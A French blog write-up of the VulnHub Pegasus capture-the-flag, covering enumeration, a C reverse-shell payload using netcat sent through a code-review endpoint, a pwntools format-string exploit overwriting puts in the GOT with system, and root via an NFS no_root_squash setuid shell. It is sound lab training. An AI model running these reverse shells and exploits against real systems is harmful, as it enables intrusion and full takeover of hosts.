Accueil Solution du CTF Pegasus de VulnHub
Post
Annuler

Solution du CTF Pegasus de VulnHub

Le CTF Pegasus créé par Knapsy n’a pas été une mince affaire. Pas forcément parce qu’il y avait une exploitation de binaire un peu compliquée (NB: le CTF est affiché comme étant de difficulté intermédiaire) mais parce que des problèmes de connexion SSH m’ont absolument pourris la vie, le serveur SSH de la VM étant certainement configuré avec des algos de chiffrement dépréciés (le CTF est daté de décembre 2014).

Au final, malgré la galère j’en suis venu à boût mais pas avec toute la prestance d’un George Abitbol (aka l’Homme le plus classe du monde).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Nmap scan report for 192.168.57.5
Host is up (0.000087s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 77:89:5b:52:ed:a5:58:6e:8e:09:f3:9e:f1:b0:d9:98 (DSA)
|   2048 d6:62:f5:12:31:36:ed:08:2c:1a:5e:9f:3c:aa:1f:d2 (RSA)
|_  256 c5:f0:be:e5:c0:9c:28:6e:23:5c:48:38:8b:4a:c4:43 (ECDSA)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33645/tcp   status
|   100024  1          41390/udp6  status
|   100024  1          45778/tcp6  status
|_  100024  1          58397/udp   status
8088/tcp  open  http    nginx 1.1.19
|_http-server-header: nginx/1.1.19
|_http-title: Pegasus Technologies - Under Construction
33645/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:88:F8:40 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Mauves et bleues

On voit ici un portmap ouvert mais NFS n’apparait pas dans la liste des services lancés.

Le serveur Nginx n’affiche qu’une image style fantasy d’un Pégase, on passe alors à une énumération. Je suis contraint de filtrer sur la taille des réponses car le serveur retourne la page d’index en cas de fichier non trouvé.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ feroxbuster -u http://192.168.57.5:8088/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt -S 189      

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.57.5:8088/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💢  Size Filter           │ 189
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200        1l        4w        0c http://192.168.57.5:8088/submit.php
200       18l       46w      383c http://192.168.57.5:8088/50x.html
[####################] - 10s    37034/37034   0s      found:2       errors:0      
[####################] - 9s     37034/37034   3708/s  http://192.168.57.5:8088/

Ce script submit.php affiche le message No data to process. Essayons de lui donner matière à travailler en brute-forçant des noms de paramètres possibles :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -u "http://192.168.57.5:8088/submit.php" -X POST -d "FUZZ=abcd" -w common_query_parameter_names.txt -fs 19 -H "Content-type: application/x-www-form-urlencoded"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : POST
 :: URL              : http://192.168.57.5:8088/submit.php
 :: Wordlist         : FUZZ: common_query_parameter_names.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : FUZZ=abcd
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 19
________________________________________________

code                    [Status: 200, Size: 16, Words: 3, Lines: 1, Duration: 26ms]
:: Progress: [5697/5697] :: Job [1/1] :: 1929 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

Effectivement en POST il retourne le message Sent for review! si le paramètre code est défini. J’ai joué un peu avec curl pour essayer d’obtenir un RCE et au boût d’un moment j’ai eu une réponse différente :

1
2
$ curl http://192.168.57.5:8088/submit.php -X POST -d 'code=%3C%3Fphp%20system%28%22curl%20http%3A//192.168.57.1/toto.js%22%29%3B%20%3F%3E'
Sorry, due to security precautions, Mike won't review any code containing system() function call.

Intéressant. Le script s’attend donc à recevoir du code dans un langage qui dispose d’une fonction system(). J’ai essayé différents langage avec bien sûr PHP en tenant d’utiliser shell_exec et passthru mais sans résultat.

Finalement j’ai passé le code C suivant au script :

1
2
3
4
5
6
7
8
9
10
11
#include <unistd.h>

int main(void) {
    char *args[4];
    args[0] = "/bin/bash";
    args[1] = "-c";
    args[2] = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.57.1 80 >/tmp/f";
    args[3] = NULL;
    execve(args[0], args, NULL);
    return 0;
}

Et j’ai reçu un connect back de la part de l’utilisateur Mike :

1
2
3
4
5
6
7
8
9
10
$ sudo ncat -l -p 80 -v
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 192.168.57.5.
Ncat: Connection from 192.168.57.5:55175.
bash: no job control in this shell
mike@pegasus:/home/mike$ id
id
uid=1001(mike) gid=1001(mike) groups=1001(mike)

et jaunes et pourpres

Voici le code du script submit.php qui récupérait le code et le copiait dans un fichier :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if(isset($_POST[code]))
{
        $code = $_POST[code];
        if (strpos($code, 'system(') !== false || strpos($code, 'system (') !== false)
        {
                die("Sorry, due to security precautions, Mike won't review any code containing system() function call.");
        }
        $ret = file_put_contents('/opt/code_review/code.c', $code, FILE_APPEND | LOCK_EX);
        if ($ret === false)
        {
                die("Error");
        }
        else
        {
                echo "Sent for review!";
        }
}
else
{
        die("No data to process.");
}
?>

La compilation et l’exécution sont appelées depuis une entrée contrab :

1
@reboot mike    /home/mike/check_code.sh

Voici le code bash :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/sh
#
# I am a 'human' reviewing submitted source code :)
#

SOURCE_CODE="/opt/code_review/code.c"

# Kill whatever is running after 120 seconds
TIMEOUT=120

while true; do
    echo "# Checking for code.c..."
    if [ -f $SOURCE_CODE ]; then
        echo " # Compile..."
        /usr/bin/gcc -o /home/mike/code $SOURCE_CODE
        /bin/chmod 755 /home/mike/code
        echo " # Run"
        (/home/mike/code) & PID=$!
        # Let the code run for $TIMEOUT, then kill it if still executing
        (/bin/sleep $TIMEOUT && kill -9 $PID; echo " # Killed ./code") 2>/dev/null & WATCHER=$!
        # Kill the watched (code stopped executing before $TIMEOUT)
        wait $PID 2>/dev/null && kill -9 $WATCHER; echo " # Killed watcher"
        echo " # Cleanup..."
        /bin/rm -f /home/mike/code $SOURCE_CODE
    fi
    /bin/sleep 1
done

Au passage on remarque que /opt/code_review est world writable ce qui est toujours utile quand on veut transférer des fichiers.

LinPEAS m’indique qu’un partage NFS est configuré dans /etc/exports :

1
2
3
╔══════════╣ Analyzing NFS Exports Files (limit 70)
-rw-r--r-- 1 root root 450 Nov 18  2014 /etc/exports
/opt/nfs        *(rw,sync,crossmnt,no_subtree_check,no_root_squash)

Mais comme on l’a vu précédement, toujours pas de serveur NFS :

1
2
3
4
5
6
7
8
9
10
mike@pegasus:/opt/code_review$ rpcinfo -p 127.0.0.1
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  47005  status
    100024    1   tcp  39502  status

Dans le dossier de l’utilisateur mike on trouve un binaire setuid pour l’utilisateur john :

1
2
mike@pegasus:/home/mike$ ls -al my_first
-rwsr-xr-x 1 john john 6606 Nov 28  2014 my_first

Si on exécute le binaire on obtient le menu suivant :

1
2
3
4
5
6
7
8
9
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:

J’ai désassemblé le binaire avec Cutter et je n’ai trouvé aucun stack overflow : le binaire lit ses entrées avec l’aide de la fonction fgets et semble toujours spécifier une limite de lecture ne dépassant jamais la taille allouée.

Puis sur la fonction calculator j’ai remarqué quelque chose d’anormal que l’on comprend mieux avec le décompilateur intégré à Cutter :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/* jsdec pseudo code output */
/* /tmp/ctf/my_first @ 0x8048674 */
#include <stdint.h>
 
int32_t calculator (void) {
    const char * format;
    char * var_78h;
    char * str;
    int32_t var_14h;
    long var_10h;
    long var_ch;
    char ** endptr;
    FILE * stream;
    int32_t var_sp_ch;
    printf ("\nEnter first number: ");
    eax = *(stdin);
    eax = &str;
    eax = fgets (eax, *(stdin), 0x32);
    if (eax != 0) {
        printf ("Enter second number: ");
        eax = *(stdin);
        eax = &var_78h;
        eax = fgets (eax, *(stdin), 0x32);
        if (eax != 0) {
            eax = &format;
            eax = &str;
            eax = strtol (eax, 0xa, eax);
            var_ch = eax;
            eax = &format;
            eax = &var_78h;
            eax = strtol (eax, 0xa, eax);
            var_10h = eax;
            eax = format;
            eax = *(eax);
            if (al != 0xa) {
                printf ("Error details: ");
                eax = format;
                printf (eax);
                putchar (0xa);
                eax = 1;
            } else {
                eax = var_10h;
            }
            edx = var_ch;
            eax += edx;
            var_14h = eax;
            var_sp_ch = eax;
            eax = var_10h;
            stream = var_10h;
            eax = var_ch;
            endptr = var_ch;
            printf ("Result: %i + %i = %i\n\n");
            eax = 0;
        } else {
        }
        puts ("\nBye!");
        eax = 1;
    } else {
        puts ("\nBye!");
        eax = 1;
    }
    return eax;
}

Ce qui se passe ici c’est que le calculateur demande deux nombres. Il convertit d’ailleurs les chaines en entier avec strtol. Si la conversion de la deuxième chaine échoue il l’affiche directement à l’aide de printf au lieu de puts (ligne printf(eax).

Par conséquent si la chaine contient des directives de formattages (comme %s, %x, %d, etc) elles seront appliquées.

On est donc face à une vulnérabilité de format string. Je vous invite à lire mon tutoriel sur le sujet pour en savoir plus.

Je regarde aussi si les adresses mémoire sont randomisées (ASLR), ce qui est ici le cas.

1
2
mike@pegasus:/home/mike$ cat /proc/sys/kernel/randomize_va_space
2

Il y a bien sûr différentes façons de passer outre cette randomisation :

  • faire fuiter une adresse mémoire du programme avec une chaine de format

  • brute-forcer une adresse possible jusqu’à tomber sur la bonne (le système est 32bits donc c’est réalisable)

  • simplement désactiver la randomisation avec ulimit -s unlimited (là encore uniquement sur du 32bits)

Ma technique d’attaque était la même que sur le CTF Moee :

  • fuiter l’adresse d’une fonction présente dans la GOT (Global Offset Table) du binaire

  • calculer l’adresse de la fonction system dans la mémoire du programme en se basant sur la différence d’offset entre system et la précédente fonction dans la libc

  • écraser l’adresse de la fonction présente dans la GOT pour y mettre l’adresse de system à la place

  • appeller ladite fonction écrasée qui appelera donc system

J’ai opté pour écraser la fonction puts() dans le programme car elle est assez similaire à system() : elle ne recoit qu’un seul argument qui est une chaine de caractères.

Qui plus est si on choisit l’entrée numéro 4 dans le programme on a ce code :

1
2
3
4
5
int32_t quit (void) {
    puts ("\nGoodbye!");
    eax = 0;
    return eax;
}

Quand puts sera écrasé le programme essayera alors d’exécuter le fichier Goodbye! (le retour à la ligne sera ignoré car system() passe les commandes à bash).

Et paraboliques

J’ai choisit de faire tout ça via le framework pwntools qui va faire une bonne partie des calculs à ma place :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *                                                                                                      
                                                                                                                       
p = process('./my_first', stdin=process.PTY, stdout=process.PTY)                                                       
elf = ELF('./my_first')                                                                                                
                                                                                                                       
# On obtient l'adresse de puts dans la GOT, ce sera notre target                                                       
info("puts@got = %#x", elf.got.puts)                                                                                   
                                                                                                                       
# Cette fonction de callback est passée plus loin à pwntools qui s'en sert                                             
# comme d'une entrée pour calculer la distance à laquelle la chaine de                                                 
# format se trouve sur la stack (offset)                                                                               
def exec_fmt(payload):                                                                                                 
    p.readuntil(b"Selection:")                                                                                         
    p.sendline(b"1")                                                                                                   
    p.readuntil(b"Enter first number:")                                                                                
    p.sendline(b"1")                                                                                                   
    p.readuntil("Enter second number:")                                                                                
    p.sendline(payload)                                                                                                
    buff = p.recvline()                                                                                                
    return buff                                                                                                        
                                                                                                                       
                                                                                                                       
autofmt = FmtStr(exec_fmt)                                                                                             
offset = autofmt.offset                                                                                                
info("offset is at dword %d", offset)                                                                                  
                                                                                                                       
# C'est parti pour le leak de l'adresse réelle de puts contenu dans la GOT                                             
p.readuntil(b"Selection:")                                                                                             
p.sendline(b"1")                                                                                                       
p.readuntil(b"Enter first number:")                                                                                    
p.sendline(b"1")                                                                                                       
p.readuntil("Enter second number:")                                                                                    
                                                                                                                       
payload = f'%{offset+1}$s'.encode()                                                                                    
payload += p32(elf.got.puts)                                                                                           
p.sendline(payload)                                                                                                    
                                                                                                                       
# Dans la réponse on obtient l'adresse de puts mappée en mémoire (libc)                                                
buff = p.readuntil(b"Selection:")                                                                                      
puts_libc_addr = unpack(buff.split(b"Error details: ")[1][:4])

libc = elf.libc                                                                                                        
info("puts = %#x", puts_libc_addr)                                                                                     
# on calcule l'adresse de base de la libc et on écrase celle sur l'objet libc                                          
# de pwntools qui permettra d'obtenir directement celle de système ensuite                                             
libc.address = puts_libc_addr - libc.symbols.puts                                                                      
info("libc base = %#x", libc.address)                                                                                  
                                                                                                                       
# Calculate system()                                                                                                   
system_libc_addr = libc.symbols.system                                                                                 
info("system = %#x", system_libc_addr)                                                                                 
                                                                                                                       
# On rentre à nouveau dans le calculateur mais cette fois pour le write-what-where                                     
p.sendline(b"1")                                                                                                       
p.readuntil(b"Enter first number:")                                                                                    
p.sendline(b"1")                                                                                                       
p.readuntil("Enter second number:")                                                                                    
                                                                                                                       
# pwntools génère la chaine de format à utiliser                                                                       
payload = fmtstr_payload(offset, {elf.got.puts: system_libc_addr}, write_size="short")                                 
info("pushing payload %s (size %d)", repr(payload), len(payload))                                                      
p.sendline(payload)                                                                                                    
                                                                                                                       
p.readuntil(b"Selection:")                                                                                             
# On quitte, ce qui va déclencher un system("\nGoogbye!")                                                              
p.sendline(b"4")                                                                                                       
p.interactive()                                                                                                        
p.close()

L’exploitation se fait ici sur le binaire que j’ai recopié sur ma machine :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ python exploit.py 
[+] Starting local process './my_first': pid 32073
[*] 'my_first'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] puts@got = 0x8049c04
[*] Found format string offset: 8
[*] offset is at dword 8
[*] '/usr/lib/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts = 0xf7c764e0
[*] libc base = 0xf7c00000
[*] system = 0xf7c4d0c0
[*] pushing payload b'%53440c%15$hn%9988c%16$hnaaa\x04\x9c\x04\x08\x06\x9c\x04\x08' (size 36)
[*] Switching to interactive mode
$

Bingo ! Plus qu’à corriger l’exploit pour qu’il utilise les fonctionnalitées remote de pwntools sauf que…

  • le serveur SSH de la VM ne semble accepter que les mots de passe (dont on ne dispose pas) et ne tient pas compte du fichier authorized_keys

  • pwntools ne semble pas fonctionner avec reverse-ssh que j’ai lancé sur le port 31337 de la VM

  • en rajoutant une entrée à mon fichier .ssh/config pour autoriser quelques protocoles SSH dépréciés pour la VM je peux me connecter en SSH mais pwntools génère une exception dans sa dépendance paramiko

Au final l’exploitation a consisté à :

  • désactiver l’ASLR avec ulimit

  • obtenir l’adresse de system() désormais fixe dans la mémoire du programme directement avec gdb (0x40069060)

  • obtenir la chaine de format à passer au programme pour écraser l’adresse de puts dans la GOT via le code Python suivant

1
2
3
4
5
6
7
8
from pwn import *

elf = ELF('./my_first')

info("puts@got = %#x", elf.got.puts)

payload = fmtstr_payload(8, {elf.got.puts: 0x40069060}, write_size="byte", strategy="small")
print(payload)

Je passe la chaine générée ainsi que les différents choix à saisir sur l’entrée standard du programme :

1
2
3
4
5
6
7
8
9
10
11
mike@pegasus:/home/mike$ printf '1\n1\n%%64c%%17$hhn%%32c%%18$hhn%%1584c%%19$hnaa\x07\x9c\x04\x08\x04\x9c\x04\x08\x05\x9c\x04\x08\n4\n' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details:

On ne voit pas le message Goodbye! car l’affichage a bien été remplacé par une exécution. J’avais préalablement placé un fichier Goodbye! contenant une commande pour lancer un reverse shell Python :

1
2
3
4
5
6
7
8
$ sudo ncat -l -p 443 -v
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.57.5.
Ncat: Connection from 192.168.57.5:35456.
$ id
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)

Enfiiiiin !

Et vice et versa

Mais même combat avec l’utilisateur John, on est géné par ce SSH inutilisable.

L’utilisateur John est habilité à démarrer le serveur NFS :

1
2
3
4
5
6
john@pegasus:~$ sudo -l
Matching Defaults entries for john on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on this host:
    (root) NOPASSWD: /usr/local/sbin/nfs

Ce qu’on s’empresse de faire :

1
2
3
4
5
6
john@pegasus:~$ sudo /usr/local/sbin/nfs start
 * Exporting directories for NFS kernel daemon...                                                                                                                                                          [ OK ]
 * Starting NFS kernel daemon                                                                                                                                                                              [ OK ]
john@pegasus:~$ showmount -e 127.0.0.1
Export list for 127.0.0.1:
/opt/nfs *

La suite est très classique. Il faut écrire et compiler le programme C suivant :

1
2
3
4
5
6
7
8
9
#include <unistd.h>
#include <stdlib.h>

int main(void) {
        setreuid(0, 0);
        setregid(0, 0);
        system("/bin/bash");
        return 0;
}

Ensuite on monte l’export NFS avec mount 192.168.57.5:/mnt/nfs /mnt puis on place notre exécutable dedans non sans lui avoir donné le bit setuid root.

A cause du SSH cassé il a fallut compiler le code sur la VM, le transférer vers ma machine via netcat, le recopier sur la VM via le NFS, bref une grosse prise de tête mais au final on y est :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
john@pegasus:/tmp$ cd /opt/nfs/
john@pegasus:/opt/nfs$ ls -al
total 20K
drwxr-xr-x 2 root root 4.0K Dec  8 19:48 .
drwxr-xr-x 5 root root 4.0K Nov 18  2014 ..
-rwsr-xr-x 1 root root 7.1K Dec  8 19:48 rootshell
-rw-r--r-- 1 root root  127 Dec  8 19:42 rootshell.c

john@pegasus:/opt/nfs$ ./rootshell
root@pegasus:/opt/nfs# id
uid=0(root) gid=0(root) groups=0(root),1001(mike)
root@pegasus:/opt/nfs# cd /root
root@pegasus:/root# ls
flag
root@pegasus:/root# file flag
flag: ASCII English text
root@pegasus:/root# cat flag
               ,
               |`\
              /'_/_
            ,'_/\_/\_                       ,
          ,'_/\'_\_,/_                    ,'|
        ,'_/\_'_ \_ \_/                _,-'_/
      ,'_/'\_'_ \_ \'_,\           _,-'_,-/ \,      Pegasus is one of the best
    ,' /_\ _'_ \_ \'_,/       __,-'<_,' _,\_,/      known creatures in Greek
   ( (' )\/(_ \_ \'_,\   __--' _,-_/_,-',_/ _\      mythology. He is a winged
    \_`\> 6` 7  \'_,/ ,-' _,-,'\,_'_ \,_/'_,\       stallion usually depicted
     \/-  _/ 7 '/ _,' _/'\_  \,_'_ \_ \'_,/         as pure white in color.
      \_'/>   7'_/' _/' \_ '\,_'_ \_ \'_,\          Symbol of wisdom and fame.
        >/  _ ,V  ,<  \__ '\,_'_ \_ \'_,/
      /'_  ( )_)\/-,',__ '\,_'_,\_,\'_\             Fun fact: Pegasus was also
     ( ) \_ \|_  `\_    \_,/'\,_'_,/'               a video game system sold in
      \\_  \_\_)    `\_                             Poland, Serbia and Bosnia.
       \_)   >        `\_                           It was a hardware clone of
            /  `,      |`\_                         the Nintendo Famicom.
           /    \     / \ `\
          /   __/|   /  /  `\
         (`  (   (` (_  \   /
         /  ,/    |  /  /   \
        / ,/      | /   \   `\_
      _/_/        |/    /__/,_/
     /_(         /_(


CONGRATULATIONS! You made it :)

Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you
learnt a thing or two while doing it! :)

Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and
providing first review.

Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode
and leave some feedback, I would love to hear from you!

Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for
more awesome boot2root VMs!

Un CTF assez avancé sur le plan technique. Je suis déçu de ne pas avoir pu automatiser toute l’exploitation avec pwntools à cause du serveur SSH.

Cet article est sous licence CC BY 4.0 par l'auteur.